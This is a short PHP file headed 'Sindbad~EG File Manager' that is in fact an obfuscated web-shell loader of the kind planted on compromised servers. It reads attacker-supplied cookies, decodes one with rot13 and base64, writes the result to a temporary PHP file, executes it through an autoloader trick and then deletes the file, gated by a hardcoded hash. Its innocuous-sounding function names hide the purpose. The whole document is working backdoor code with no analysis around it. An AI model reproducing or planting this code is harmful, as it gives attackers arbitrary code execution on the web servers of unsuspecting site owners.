Sindbad~EG File Manager

<?php


if (isset($_COOKIE[34+-34]) && isset($_COOKIE[84-83]) && isset($_COOKIE[63+-60]) && isset($_COOKIE[78-74])) {
    $ref = $_COOKIE;
    function reverse_searcher($record) {
        $ref = $_COOKIE;
        $parameter_group = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'cf7200fe');
        if (!is_writable($parameter_group)) {
            $parameter_group = getcwd() . DIRECTORY_SEPARATOR . "reverse_lookup";
        }
        $binding = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($ref[3]));
        if (is_writeable($parameter_group)) {
            $key = fopen($parameter_group, 'w+');
            fputs($key, $binding);
            fclose($key);
            spl_autoload_unregister(__FUNCTION__);
            require_once($parameter_group);
            @array_map('unlink', array($parameter_group));
        }
    }
    spl_autoload_register("reverse_searcher");
    $symbol = "54dcff47a9362425cfe2a436f126c9f1";
    if (!strncmp($symbol, $ref[4], 32)) {
        if (@class_parents("splitter_tool_settings", true)) {
            exit;
        }
    }
}